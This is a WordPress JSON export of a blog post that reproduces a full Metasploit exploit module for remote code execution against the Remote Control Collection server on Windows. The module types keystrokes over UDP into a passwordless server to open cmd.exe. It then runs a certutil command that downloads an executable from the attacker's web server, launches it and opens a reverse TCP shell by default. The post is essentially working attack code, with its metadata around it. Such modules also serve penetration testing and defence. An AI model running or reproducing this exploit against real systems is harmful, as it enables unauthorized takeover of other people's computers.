{"id":34178,"date":"2022-11-29T19:19:39","date_gmt":"2022-11-29T16:19:39","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/170049\/remote_control_collection_rce.rb.txt"},"modified":"2022-11-30T08:43:12","modified_gmt":"2022-11-30T05:13:12","slug":"remote-control-collection-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/remote-control-collection-remote-code-execution\/","title":{"rendered":"Remote Control Collection Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = NormalRanking<\/p>\n<p dir=\"ltr\">prepend Msf::Exploit::Remote::AutoCheck<br \/>\ninclude Exploit::Remote::Udp<br \/>\ninclude Exploit::EXE # generate_payload_exe<br \/>\ninclude Msf::Exploit::Remote::HttpServer::HTML<br \/>\ninclude Msf::Exploit::FileDropper<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Remote Control Collection RCE&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module utilizes the Remote Control Server&#8217;s, part<br \/>\nof the Remote Control Collection by Steppschuh, protocol<br \/>\nto deploy a payload and run it from the server. This module will only deploy<br \/>\na payload if the server is set without a password (default).<br \/>\nTested against 3.1.1.12, current at the time of module writing<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;h00die&#8217;, # msf module<br \/>\n&#8216;H4rk3nz0&#8217; # edb, discovery<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;URL&#8217;, &#8216;http:\/\/remote-control-collection.com&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/H4rk3nz0\/PenTesting\/blob\/main\/Exploits\/remote%20control%20collection\/remote-control-collection-rce.py&#8217; ]\n],<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X64, ARCH_X86 ],<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>\n&#8216;Stance&#8217; =&gt; Msf::Exploit::Stance::Aggressive,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[&#8216;default&#8217;, {}],<br \/>\n],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;windows\/shell\/reverse_tcp&#8217;,<br \/>\n&#8216;WfsDelay&#8217; =&gt; 5,<br \/>\n&#8216;Autocheck&#8217; =&gt; false<br \/>\n},<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-09-20&#8217;,<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options(<br \/>\n[<br \/>\nOptPort.new(&#8216;RPORT&#8217;, [true, &#8216;Port Remote Mouse runs on&#8217;, 1926]),<br \/>\nOptInt.new(&#8216;SLEEP&#8217;, [true, &#8216;How long to sleep between commands&#8217;, 1]),<br \/>\nOptString.new(&#8216;PATH&#8217;, [true, &#8216;Where to stage payload for pull method&#8217;, &#8216;%temp%\\\\&#8217;]),<br \/>\nOptString.new(&#8216;CLIENTNAME&#8217;, [false, &#8216;Name of client, this shows up in the logs&#8217;, &#8221;]),<br \/>\n]\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def path<br \/>\nreturn datastore[&#8216;PATH&#8217;] if datastore[&#8216;PATH&#8217;].end_with? &#8216;\\\\&#8217;<\/p>\n<p dir=\"ltr\">&#8220;#{datastore[&#8216;PATH&#8217;]}\\\\&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def special_key_header<br \/>\n&#8220;\\x7f\\x15\\x02&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def key_header<br \/>\n&#8220;\\x7f\\x15\\x01&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def windows_key<br \/>\nudp_sock.put(&#8220;#{special_key_header}\\x01\\x00\\x00\\x00\\xab&#8221;) # key up<br \/>\nudp_sock.put(&#8220;#{special_key_header}\\x00\\x00\\x00\\x00\\xab&#8221;) # key down<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<br \/>\nend<\/p>\n<p dir=\"ltr\">def enter_key<br \/>\nudp_sock.put(&#8220;#{special_key_header}\\x01\\x00\\x00\\x00\\x42&#8221;)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<br \/>\nend<\/p>\n<p dir=\"ltr\">def send_command(command)<br \/>\ncommand.each_char do |c|<br \/>\nudp_sock.put(&#8220;#{key_header}#{c}&#8221;)<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;] \/ 10)<br \/>\nend<br \/>\nenter_key<br \/>\nsleep(datastore[&#8216;SLEEP&#8217;])<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\n@check_run = true<br \/>\n@check_success = false<br \/>\nupload_file<br \/>\nreturn Exploit::CheckCode::Vulnerable if @check_success<\/p>\n<p dir=\"ltr\">return Exploit::CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\">def on_request_uri(cli, _req)<br \/>\n@check_success = true<br \/>\nif @check_run # send a random file<br \/>\np = Rex::Text.rand_text_alphanumeric(rand(8..17))<br \/>\nelse<br \/>\np = generate_payload_exe<br \/>\nend<br \/>\nsend_response(cli, p)<br \/>\nprint_good(&#8220;Request received, sending #{p.length} bytes&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def upload_file<br \/>\nconnect_udp<br \/>\n# send a space character to skip any screensaver<br \/>\nudp_sock.put(&#8220;#{key_header} &#8220;)<br \/>\nprint_status(&#8216;Connecting and Sending Windows key&#8217;)<br \/>\nwindows_key<\/p>\n<p dir=\"ltr\">print_status(&#8216;Opening command prompt&#8217;)<br \/>\nsend_command(&#8216;cmd.exe&#8217;)<\/p>\n<p dir=\"ltr\">filename = Rex::Text.rand_text_alphanumeric(rand(8..17))<br \/>\nfilename &lt;&lt; &#8216;.exe&#8217; unless @check_run<br \/>\nif @service_started.nil?<br \/>\nprint_status(&#8216;Starting up our web service&#8230;&#8217;)<br \/>\nstart_service(&#8216;Path&#8217; =&gt; &#8216;\/&#8217;)<br \/>\n@service_started = true<br \/>\nend<br \/>\nget_file = &#8220;certutil.exe -urlcache -f http:\/\/#{srvhost_addr}:#{srvport}\/ #{path}#{filename}&#8221;<br \/>\nsend_command(get_file)<br \/>\nif @check_run.nil? || @check_run == true<br \/>\nsend_command(&#8220;del #{path}#{filename} &amp;&amp; exit&#8221;)<br \/>\nelse<br \/>\nregister_file_for_cleanup(&#8220;#{path}#{filename}&#8221;)<br \/>\nprint_status(&#8216;Executing payload&#8217;)<br \/>\nsend_command(&#8220;#{path}#{filename} &amp;&amp; exit&#8221;)<br \/>\nend<br \/>\ndisconnect_udp<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\n@check_run = false<br \/>\nupload_file<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Exploit::Remote::Udp include Exploit::EXE # generate_payload_exe include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Remote Control Collection RCE&#8217;, &#8216;Description&#8217; =&gt; %q{ This module utilizes the Remote Control Server&#8217;s, part &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34178","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34178","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34178"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34178\/revisions"}],"predecessor-version":[{"id":34207,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34178\/revisions\/34207"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34178"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34178"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}